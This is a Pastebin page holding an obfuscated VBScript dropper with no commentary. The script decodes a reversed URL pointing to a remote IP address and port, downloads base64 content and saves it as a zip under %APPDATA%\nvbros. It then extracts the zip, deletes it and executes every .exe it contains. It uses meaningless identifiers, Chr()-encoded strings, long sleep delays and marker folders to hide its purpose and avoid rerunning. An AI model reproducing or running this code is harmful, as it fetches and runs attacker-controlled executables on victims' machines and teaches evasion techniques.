SHARE
TWEET

Untitled

a guest Jan 22nd, 2020 97 in 3 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,suvxAACEFHJJK,OBJdffhilnnqssuxxzACDF,objFeSO
  3. DZIP     = StrReverse("osi.SDOMKCIRTSND/9844:25.731.081.53//:ptth")
  4. Set OBJdffhilnnqssuxxzACDF = CreateObject( "WScript.Shell" )    
  5. suvxAACEFHJJK =OBJdffhilnnqssuxxzACDF.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = suvxAACEFHJJK + "\nvbros"
  9. yABDEGIIJLNOQRRT
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. DVmoqruwyzBDEGGHJLMOQRTVWWYZbd
  15. WScript.Sleep 32303
  16. XCzBCEFHJKMOPRTUWXZbceghjkmoprtuwyzBCEG
  17. WScript.Sleep 32210
  18. DCDFGIKLNPQSUVXYacdfhiklnppqsu
  19. WScript.Sleep 2424
  20. DCCDFGIKLNQQ
  21. Function DCCDFGIKLNQQ()
  22. Dim ClqtOPRTUWYZbdeghjlmmoLM,jrtVXYacdfhikmnpqw,jxtoppruwyzBDDEGHJ,ColtiikloqqstvxyABBDF
  23. Set ClqtOPRTUWYZbdeghjlmmoLM = WScript.CreateObject( "WScript.Shell" )
  24. WScript.Sleep 70
  25. Set jrtVXYacdfhikmnpqw = CreateObject( "Scripting.FileSystemObject" )
  26. WScript.Sleep 50
  27. Set jxtoppruwyzBDDEGHJ = jrtVXYacdfhikmnpqw.GetFolder(PSTLM)
  28. WScript.Sleep 40
  29. WScript.Sleep 50
  30. Set ColtiikloqqstvxyABBDF = jxtoppruwyzBDDEGHJ.Files
  31. WScript.Sleep 60
  32. WScript.Sleep 50
  33. For Each ColtiikloqqstvxyABBDF in ColtiikloqqstvxyABBDF
  34. If UCase(jrtVXYacdfhikmnpqw.GetExtensionName(ColtiikloqqstvxyABBDF.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  35. NMEXE = ColtiikloqqstvxyABBDF.Name
  36. ClqtOPRTUWYZbdeghjlmmoLM.Exec(PSTLM & UCase(Chr(92)) & ColtiikloqqstvxyABBDF.Name)
  37. WScript.Sleep 44
  38. End If
  39. Next
  40. End Function
  41. Function GTEK( myPassPhrase )
  42.     Dim i, arrCode( )
  43.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  44.     For i = 0 To UBound( arrCode )
  45.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  46.     Next
  47.     GTEK = arrCode
  48. End Function
  49. Function XCzBCEFHJKMOPRTUWXZbceghjkmoprtuwyzBCEG()
  50. DIM ClqtOPRTUWYZbdeghjlmmo,FilesInZip
  51. set ClqtOPRTUWYZbdeghjlmmo = CreateObject("Shell.Application")
  52. set FilesInZip=ClqtOPRTUWYZbdeghjlmmo.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  53. ClqtOPRTUWYZbdeghjlmmo.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  54. Set ClqtOPRTUWYZbdeghjlmmo = Nothing
  55. End Function
  56. Function DCDFGIKLNPQSUVXYacdfhiklnppqsu()
  57. DIM jrtVXYacdfhikmnpqxsd
  58. Set jrtVXYacdfhikmnpqxsd = Createobject("Scripting.FileSystemObject")
  59. jrtVXYacdfhikmnpqxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  60. End Function
  61. Function tOkmoptuwwyzBCE( myFileIn, myFileOut, arrCode )
  62.     Dim i, jrtVXYacdfhikmnpq, ColtiikloqqstvxyABBDFIn, ColtiikloqqstvxyABBDFOut, objStreamIn
  63.     Const ForAppending       =  8
  64.     Const ForReading         =  1
  65.     Const ForWriting         =  2
  66.     Const TristateFalse      =  0
  67.     Const TristateMixed      = -2
  68.     Const TristateTrue       = -1
  69.     Const TristateUseDefault = -2
  70.     On Error Resume Next
  71.     If Not IsArray( arrCode ) Then
  72.         arrCode = Array( arrCode )
  73.     End If
  74.     For i = 0 To UBound( arrCode )
  75.         If Not IsNumeric( arrCode(i) ) Then
  76.  
  77.             Encode = 1032
  78.             Exit Function
  79.         End If
  80.         If arrCode(i) < 0 Or arrCode(i) > 255 Then
  81.  
  82.             Encode = 1031
  83.             Exit Function
  84.         End If
  85.     Next
  86.     Set jrtVXYacdfhikmnpq = CreateObject( "Scripting.FileSystemObject" )
  87.     If jrtVXYacdfhikmnpq.FileExists( myFileIn ) Then
  88.         Set ColtiikloqqstvxyABBDFIn   = jrtVXYacdfhikmnpq.GetFile( myFileIn )
  89.         Set objStreamIn = ColtiikloqqstvxyABBDFIn.OpenAsTextStream( ForReading, TriStateFalse )
  90.     Else        
  91.         Encode = 53      
  92.         objStreamIn.Close
  93.         Set objStreamIn = Nothing
  94.         Set ColtiikloqqstvxyABBDFIn   = Nothing
  95.         Set jrtVXYacdfhikmnpq      = Nothing
  96.        
  97.         Exit Function
  98.     End If  
  99.     If jrtVXYacdfhikmnpq.FileExists( myFileOut ) Then
  100.         ' Error 58: File already exists
  101.         Encode = 58
  102.         ' Close input file and release objects
  103.         objStreamIn.Close
  104.         Set objStreamIn = Nothing
  105.         Set ColtiikloqqstvxyABBDFIn   = Nothing
  106.         Set jrtVXYacdfhikmnpq      = Nothing
  107.         ' Abort
  108.         Exit Function
  109.     Else
  110.         Set ColtiikloqqstvxyABBDFOut = jrtVXYacdfhikmnpq.CreateTextFile( myFileOut, True, False )
  111.     End If    
  112.     i = 0
  113.     Do Until objStreamIn.AtEndOfStream
  114.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  115.         ColtiikloqqstvxyABBDFOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  116.     Loop  
  117.     ColtiikloqqstvxyABBDFOut.Close
  118.     objStreamIn.Close
  119.     Set objStreamIn = Nothing
  120.     Set ColtiikloqqstvxyABBDFIn   = Nothing
  121.     Set ColtiikloqqstvxyABBDFOut  = Nothing
  122.     Set jrtVXYacdfhikmnpq      = Nothing    
  123.     Encode = Err.Number
  124.     Err.Clear
  125.     On Error Goto 0
  126. End Function
  127. Function DVmoqruwyzBDEGGHJLMOQRTVWWYZbd()
  128. DIM req
  129. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  130. req.open "GET", DZIP, False
  131. req.send
  132. If req.Status = 200 Then
  133.  Dim oNode, BinaryStream
  134. Const adTypeBinary = 1
  135. Const adSaveCreateOverWrite = 2
  136. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  137. oNode.dataType = "bin.base64"
  138. oNode.text = req.responseText
  139. Set BinaryStream = CreateObject("ADODB.Stream")
  140. BinaryStream.Type = adTypeBinary
  141. BinaryStream.Open
  142. BinaryStream.Write oNode.nodeTypedValue
  143. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  144. End if
  145. End Function
  146. Function yABDEGIIJLNOQRRT()
  147. dim mqXFFRJUWm
  148. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  149. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  150. WScript.Quit()
  151. End If                      
  152. End Function
  153. Function TEMMORRE()
  154. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  155. IF objFeSO.FolderExists(suvxAACEFHJJK + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  156. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  157. objFeSO.CreateFolder STPASTALOKA
  158. objFeSO.CreateFolder OBJdffhilnnqssuxxzACDF.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  159. END IF
  160. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top